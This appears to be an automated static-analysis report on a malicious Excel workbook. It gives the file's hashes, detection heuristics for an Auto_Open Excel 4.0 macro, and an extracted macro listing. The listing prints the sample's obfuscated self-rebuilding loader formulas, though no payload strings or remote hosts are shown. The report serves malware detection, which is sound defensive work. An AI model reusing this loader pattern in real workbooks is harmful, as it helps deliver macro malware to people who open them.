Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a11f5f2a61a4066…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:56 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: d0b2d505feef4db33308f25866ed5d77 SHA-1: 3ed429af02716104748c372d3479746e1cf6b0e2 SHA-256: 9a11f5f2a61a40665c232d124f72060efc8bac5ce5830d7025553f5b8a9c2a0a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6454 bytes
SHA-256: 3f9905530666197c9bae6007453ef501e3027a72dde1f98e0c6957a7b4f351b9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WXoc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F160 
' 0018     21 LABEL : Cell Value, String Constant - CJRaAS len=0 
' 0018     22 LABEL : Cell Value, String Constant - CMstwHg len=0 
' 0018     20 LABEL : Cell Value, String Constant - eDBPi len=0 
' 0018     24 LABEL : Cell Value, String Constant - hGUqpkmMK len=0 
' 0018     24 LABEL : Cell Value, String Constant - iGWNpaTZD len=0 
' 0018     26 LABEL : Cell Value, String Constant - IZKgcCDSaHk len=0 
' 0018     21 LABEL : Cell Value, String Constant - KfMXLB len=0 
' 0018     23 LABEL : Cell Value, String Constant - kOpzHkfK len=0 
' 0018     27 LABEL : Cell Value, String Constant - nGSCiCRpSnyZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - OBNmvWDpoWn len=0 
' 0018     23 LABEL : Cell Value, String Constant - oxfLKfXd len=0 
' 0018     25 LABEL : Cell Value, String Constant - PCyjxwAOqK len=0 
' 0018     21 LABEL : Cell Value, String Constant - PDlouG len=0 
' 0018     20 LABEL : Cell Value, String Constant - PMIEB len=0 
' 0018     25 LABEL : Cell Value, String Constant - sbJWdmqOBA len=0 
' 0018     26 LABEL : Cell Value, String Constant - TRGpqlgUXBB len=0 
' 0018     20 LABEL : Cell Value, String Constant - XmLmu len=0 
' 0018     27 LABEL : Cell Value, String Constant - YJyryeBqWkhw len=0 
' 0018     24 LABEL : Cell Value, String Constant - zigQvxfQW len=0 
' 0018     26 LABEL : Cell Value, String Constant - znYonzfznMg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WXoc,F77,"SET.NAME("PMIEB",VALUE("0"))",""
'  WXoc,F81,"SET.NAME("PCyjxwAOqK",PMIEB)",""
'  WXoc,F86,"SET.NAME("iGWNpaTZD",PMIEB)",""
'  WXoc,F91,"SET.NAME("YJyryeBqWkhw",COUNTA(KfMXLB))",""
'  WXoc,F95,"SET.NAME("zigQvxfQW",COUNTA(znYonzfznMg))",""
'  WXoc,F100,[],""
'  WXoc,F102,"SET.NAME("PDlouG","")",""
'  WXoc,F104,"PCyjxwAOqK",""
'  WXoc,F106,"SET.NAME("oxfLKfXd",HLOOKUP("*",KfMXLB,PCyjxwAOqK,FALSE))",""
'  WXoc,F110,"OBNmvWDpoWn",""
'  WXoc,F112,"SET.NAME("XmLmu",PMIEB)",""
'  WXoc,F116,[],""
'  WXoc,F119,"XmLmu",""
'  WXoc,F122,"IZKgcCDSaHk",""
'  WXoc,F127,"CMstwHg",""
'  WXoc,F129,"CJRaAS",""
'  WXoc,F132,"SET.NAME("nGSCiCRpSnyZ",VALUE(HLOOKUP("*",znYonzfznMg,CJRaAS,FALSE)))",""
'  WXoc,F134,"TRGpqlgUXBB",""
'  WXoc,F137,"PDlouG",""
'  WXoc,F141,"iGWNpaTZD",""
'  WXoc,F143,NEXT(),""
'  WXoc,F147,"kOpzHkfK",""
'  WXoc,F149,"SET.NAME("f",INT(T(FORMULA(T(PDlouG)&"",""&T(kOpzHkfK)))))",""
'  WXoc,F151,"sbJWdmqOBA",""
'  WXoc,F154,NEXT(),""
'  WXoc,F158,RETURN(),""
'  WXoc,F189,"SET.NAME("hGUqpkmMK",F77)",""
'  WXoc,F191,"KfMXLB",""
'  WXoc,F196,"SET.NAME("znYonzfznMg",R99C12)",""
'  WXoc,F201,"SET.NAME("sbJWdmqOBA",210)",""
'  WXoc,F204,"SET.NAME("eDBPi",6)",""
'  WXoc,F209,hGUqpkmMK(),""
'  WXoc,F210,HALT(),""